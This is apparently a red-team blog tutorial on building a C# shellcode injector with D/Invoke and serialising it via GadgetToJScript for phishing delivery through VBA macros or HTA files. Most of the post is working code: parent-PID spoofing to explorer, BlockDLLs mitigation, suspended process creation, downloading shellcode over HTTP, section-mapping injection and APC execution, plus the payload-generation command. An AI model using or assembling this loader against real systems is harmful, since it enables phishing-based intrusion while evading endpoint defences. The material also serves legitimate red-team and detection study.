D/Invoke & GadgetToJScript

I’m sure the subject of combining D/Invoke with GadgetToJScript has been written about multiple times; but I wanted to throw my hat into the ring with this post.

For those who don’t already know, D/Invoke provides (among other things) a means for dynamically invoking unmanaged APIs without using P/Invoke. GadgetToJScript is a spiritual successor to DotNetToJScript – it generates serialised gadgets that can trigger .NET execution from JScript, VBScript and VBA.

One practical implementation is to write a .NET injector and serialise to a gadget which can be delivered in a phishing payload, such as a VBA macro or HTA. In this post I will write an injector that spawns a process in a suspended state, spoof its PPID to Explorer, and enable process mitigation policy (aka BlockDLLs); write shellcode into the target process, queue an APC on the main thread; and then resume the process to execute the shellcode.

Hello World

The easiest way to get started with GadgetToScript is with the test assembly included in the repository.

using System.Windows.Forms;

namespace TestAssembly
{
    public class Program
    {
        public Program()
        {
            MessageBox.Show("Test Assembly !!");
        }
    }
}

Simply build the library to a DLL and feed it into the tool.

PS C:\Tools\GadgetToJScript> .\GadgetToJScript.exe -w js -b -o C:\Users\Daniel\Desktop\testAssembly -a C:\Tools\GadgetToJScript\TestAssembly\bin\Debug\TestAssembly.dll

[+]: Generating the hta payload
[+]: First stage gadget generation done.
[+]: Loading your .NET assembly:C:\Tools\GadgetToJScript\TestAssembly\bin\Debug\TestAssembly.dll
[+]: Second stage gadget generation done.
[*]: Payload generation completed, check: C:\Users\Daniel\Desktop\testAssembly.js

Run the JS file with wscript.exe and you will see the message box.

D/Invoke

Time to start adding D/Invoke code.

NOTE: I had some wild issues where creating new *.cs files in the project would just cause the serialised gadget to not execute. Simply moving the classes into a single .cs file made everything work again.

public static class DInvoke
{
    // lots of code here...
}

At the time of writing, we need to take the code from D/Invoke’s dev branch, as it contains fixes for finding export addresses which point to a forward. Go into DInvoke > DynamicInvoke > Generic.cs and start copying/pasting methods such as DynamicAPIInvoke, DynamicFunctionInvoke, GetLibraryAddress and so on.

The full list that I have are:

  • DynamicAPIInvoke
  • DynamicFunctionInvoke
  • GetLibraryAddress
  • GetLoadedModuleAddress
  • LoadModuleFromDisk
  • GetExportAddress
  • GetPebLdrModuleEntry
  • GetForwardAddress
  • GetApiSetMapping
  • RtlInitUnicodeString
  • LdrLoadDll
  • NtQueryInformationProcessBasicInformation
  • NtQueryInformationProcess
  • RtlZeroMemory

You will also need to find and bring across all the corresponding structs and enums from the DInvoke > SharedData namespace.

(Yes, this is ball breaking.)

Once all that is done, we can start writing the code to support our injection.

Create Process

First we need to create the STARTUPINFOEX struct.

var startupInfoEx = new DInvoke.STARTUPINFOEX();
startupInfoEx.StartupInfo.cb = (uint)Marshal.SizeOf(startupInfoEx);

Then call the InitializeProcThreadAttributeList API. The D/Invoke method I came up with is as follows:

public static bool InitializeProcThreadAttributeList(ref IntPtr lpAttributeList, int dwAttributeCount)
{
    var lpSize = IntPtr.Zero;
    object[] parameters = { IntPtr.Zero, dwAttributeCount, 0, lpSize };

    var retVal = (bool)DynamicAPIInvoke(@"kernel32.dll", @"InitializeProcThreadAttributeList", typeof(DELEGATES.InitializeProcThreadAttributeList), ref parameters);
    lpSize = (IntPtr)parameters[3];

    lpAttributeList = Marshal.AllocHGlobal(lpSize);
    parameters = new object[] { lpAttributeList, dwAttributeCount, 0, lpSize };
    retVal = (bool)DynamicAPIInvoke(@"kernel32.dll", @"InitializeProcThreadAttributeList", typeof(DELEGATES.InitializeProcThreadAttributeList), ref parameters);
            
    return retVal;
}

It takes a reference to the lpAttributeList (which is a field on STARTUPINFOEX); and the number of attributes we want in the list. We need two attributes – one to hold the process mitigation policy, and the other to hold the parent PID policy.

On its first call, the lpSize we provide is NULL. The API will return false, but lpSize will become populated with the buffer size required to hold a list of the count we provided.

We then marshal a buffer and call the API again, and now lpAttributeList will hold an empty attribute list.

_ = DInvoke.InitializeProcThreadAttributeList(ref startupInfoEx.lpAttributeList, 2);

The UpdateProcThreadAttribute API is then used to update said list with the attributes we want.

public static bool UpdateProcThreadAttribute(ref IntPtr lpAttributeList, IntPtr attribute, ref IntPtr lpValue)
{
    object[] parameters = { lpAttributeList, (uint)0, attribute, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero };
    var retVal = (bool)DynamicAPIInvoke("kernel32.dll", "UpdateProcThreadAttribute", typeof(DELEGATES.UpdateProcThreadAttribute), ref parameters);
    return retVal;
}

This method is quite simple – it takes a reference to the attribute list, the type of attribute we want to add, and a reference to the actual data for that attribute. The attribute data itself has to be written into memory and a pointer provided and has to exist until after DeleteProcThreadAttributeList is called, at which time they can be freed.

To enable the process mitigation policy:

const long BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000;
const int MITIGATION_POLICY = 0x20007;

var blockDllPtr = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(blockDllPtr, new IntPtr(BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON));

_ = DInvoke.UpdateProcThreadAttribute(
    ref startupInfoEx.lpAttributeList,
    (IntPtr)MITIGATION_POLICY,
    ref blockDllPtr);

To spoof the PPID of this process, we need a handle to whatever its parent will be.

const int PARENT_PROCESS = 0x00020000;

var ppidPtr = Marshal.AllocHGlobal(IntPtr.Size);
var hParent = Process.GetProcessesByName("explorer")[0].Handle;
Marshal.WriteIntPtr(ppidPtr, hParent);

_ = DInvoke.UpdateProcThreadAttribute(
    ref startupInfoEx.lpAttributeList,
    (IntPtr)PARENT_PROCESS,
    ref ppidPtr);

Then to start the process, we call the CreateProcessA API.

public static bool CreateProcess(string lpApplicationName, string lpCommandLine, uint dwCreationFlags, string lpCurrentDirectory, ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation)
{
    var lpProcessAttributes = new SECURITY_ATTRIBUTES();
    var lpThreadAttributes= new SECURITY_ATTRIBUTES();
            
    lpProcessAttributes.nLength = (uint)Marshal.SizeOf(lpProcessAttributes);
    lpThreadAttributes.nLength = (uint)Marshal.SizeOf(lpThreadAttributes);

    object[] parameters = { lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, false, dwCreationFlags, IntPtr.Zero, lpCurrentDirectory, lpStartupInfo, null };

    var retVal = (bool)DynamicAPIInvoke("kernel32.dll", "CreateProcessA", typeof(DELEGATES.CreateProcessA), ref parameters);

    lpProcessInformation = (PROCESS_INFORMATION)parameters[9];
    return retVal;
}

The most important startup flags are to create it in a suspended state, and that extended startup info is present.

const uint CREATE_SUSPENDED = 0x00000004;
const uint DETACHED_PROCESS = 0x00000008;
const uint CREATE_NO_WINDOW = 0x08000000;
const uint EXTENDED_STARTUP_INFO_PRESENT = 0x00080000;

var processInfo = new DInvoke.PROCESS_INFORMATION();
_ = DInvoke.CreateProcess(
    null,
    "notepad",
    CREATE_SUSPENDED | CREATE_NO_WINDOW | DETACHED_PROCESS | EXTENDED_STARTUP_INFO_PRESENT,
    Environment.GetFolderPath(Environment.SpecialFolder.UserProfile),
    ref startupInfoEx,
    out processInfo);

If you run the code now, you should see your process in a suspended state with the two attributes applied.

Now we can call DeleteProcThreadAttributeList, and free the pointers used for ppidPtr/blockDllPtr.

public static void DeleteProcThreadAttributeList(ref IntPtr lpAttributeList)
{
    object[] parameters = { lpAttributeList };
    DynamicAPIInvoke("kernel32.dll", "DeleteProcThreadAttributeList", typeof(DELEGATES.DeleteProcThreadAttributeList), ref parameters);
}
DInvoke.DeleteProcThreadAttributeList(ref startupInfoEx.lpAttributeList);
Marshal.FreeHGlobal(ppidPtr);
Marshal.FreeHGlobal(blockDllPtr);

Injection

To perform the injection, I’ll be using NtCreateSection/NtMapViewOfSection and then NtQueueApcThread/NtResumeThread. To get the actual shellcode, I’m just downloading from a local web server.

byte[] shellcode;
using (var client = new HttpClient())
{
    shellcode = client.GetByteArrayAsync("http://localhost/shellcode.bin")
        .GetAwaiter().GetResult();
}

NtCreateSection creates a new section within the local process.

public static uint NtCreateSection(ref IntPtr hSection, uint desiredAccess, IntPtr objectAttributes, ref ulong maxSize, uint sectionPageProtection, uint allocationAttributes, IntPtr hFile)
{
    object[] parameters = { hSection, desiredAccess, objectAttributes, maxSize, sectionPageProtection, allocationAttributes, hFile };

    var retValue = (uint)DynamicAPIInvoke(@"ntdll.dll", @"NtCreateSection", typeof(DELEGATES.NtCreateSection), ref parameters);

    hSection = (IntPtr) parameters[0];
    maxSize = (ulong) parameters[3];

    return retValue;
}
const uint GENERIC_ALL = 0x10000000;
const uint PAGE_EXECUTE_READWRITE = 0x40;

var hLocalSection = IntPtr.Zero;
var maxSize = (ulong)shellcode.Length;

_ = DInvoke.NtCreateSection(
    ref hLocalSection,
    GENERIC_ALL,
    IntPtr.Zero,
    ref maxSize,
    PAGE_EXECUTE_READWRITE,
    SEC_COMMIT,
    IntPtr.Zero);

After this call, hLocalSection will have some value which you can cross reference in Process Hacker.

We then call NtMapViewOfSection twice. The first time will map this section into the memory of our local process; the second time to map that new memory allocation into the remote process.

public static uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, IntPtr CommitSize, IntPtr SectionOffset, ref ulong ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect)
{
    object[] funcargs = { SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType, Win32Protect };

    var retValue = (uint)DynamicAPIInvoke(@"ntdll.dll", @"NtMapViewOfSection", typeof(DELEGATES.NtMapViewOfSection), ref funcargs);
            
    BaseAddress = (IntPtr) funcargs[2];
    ViewSize = (ulong) funcargs[6];

    return retValue;
}

I’d like to avoid RWX on these memory regions, so I’ll map the region into the local process as RW.

const uint PAGE_READWRITE = 0x04;

var self = Process.GetCurrentProcess();
var hLocalBaseAddress = IntPtr.Zero;
            
_ = DInvoke.NtMapViewOfSection(
    hLocalSection,
    self.Handle,
    ref hLocalBaseAddress,
    IntPtr.Zero,
    IntPtr.Zero,
    IntPtr.Zero,
    ref maxSize,
    2,
    0,
    PAGE_READWRITE);

hLocalBaseAddress will then contain a handle to the memory region allocated. You can cross-reference this address in Process Hacker and you’ll see an empty region of memory.

Now, do exactly the same but provide a handle to the remote process (which is sitting inside the PROCESS_INFORMATION struct returned by CreateProcessA). This time, I’ll allocate as RX (NtMapViewOfSection does not need the target region to be defined as writable).

const uint PAGE_EXECUTE_READ = 0x20;

var hRemoteBaseAddress = IntPtr.Zero;

_ = DInvoke.NtMapViewOfSection(
    hLocalSection,
    processInfo.hProcess,
    ref hRemoteBaseAddress,
    IntPtr.Zero,
    IntPtr.Zero,
    IntPtr.Zero,
    ref maxSize,
    2,
    0,
    PAGE_EXECUTE_READ);

In the same way as before, hRemoteBaseAddress will contain a handle to the memory region created in the remote process. Inspect it with Process Hacker to confirm an empty RX region has been created.

Now we can copy our shellcode into hLocalBaseAddress. Remember, this is the memory region in our own local process. Once complete, the shellcode will be automatically copied into hRemoteBaseAddress of the remote process.

Marshal.Copy(shellcode, 0, hLocalBaseAddress, shellcode.Length);

Execution

The final steps are to call NtQueueApcThread and NtResumeThread, after which, the shellcode will execute.

public static uint NtQueueApcThread(IntPtr ThreadHandle, IntPtr ApcRoutine, IntPtr ApcArgument1, IntPtr ApcArgument2, IntPtr ApcArgument3)
{
    object[] parameters = { ThreadHandle, ApcRoutine, ApcArgument1, ApcArgument2, ApcArgument3 };
    return (uint)DynamicAPIInvoke(@"ntdll.dll", @"NtQueueApcThread", typeof(DELEGATES.NtQueueApcThread), ref parameters);
}

public static uint NtResumeThread(IntPtr ThreadHandle)
{
    var suspendCount = (uint)0;
    object[] parameters = { ThreadHandle, suspendCount };
    return (uint)DynamicAPIInvoke(@"ntdll.dll", @"NtResumeThread", typeof(DELEGATES.NtResumeThread), ref parameters);
}
_ = DInvoke.NtQueueApcThread(
    processInfo.hThread,
    hRemoteBaseAddress,
    IntPtr.Zero,
    IntPtr.Zero,
    IntPtr.Zero);
            
_ = DInvoke.NtResumeThread(processInfo.hThread);

We should also take some time to close the open handles that we have, but I’ll leave that as an exercise to the reader.

I realise there is a lot of actual code missing from this post – my Program.cs is a little shy of 800 lines. A full copy will be provided to my wonderful Patrons.

, ,

Related posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...

Latest posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...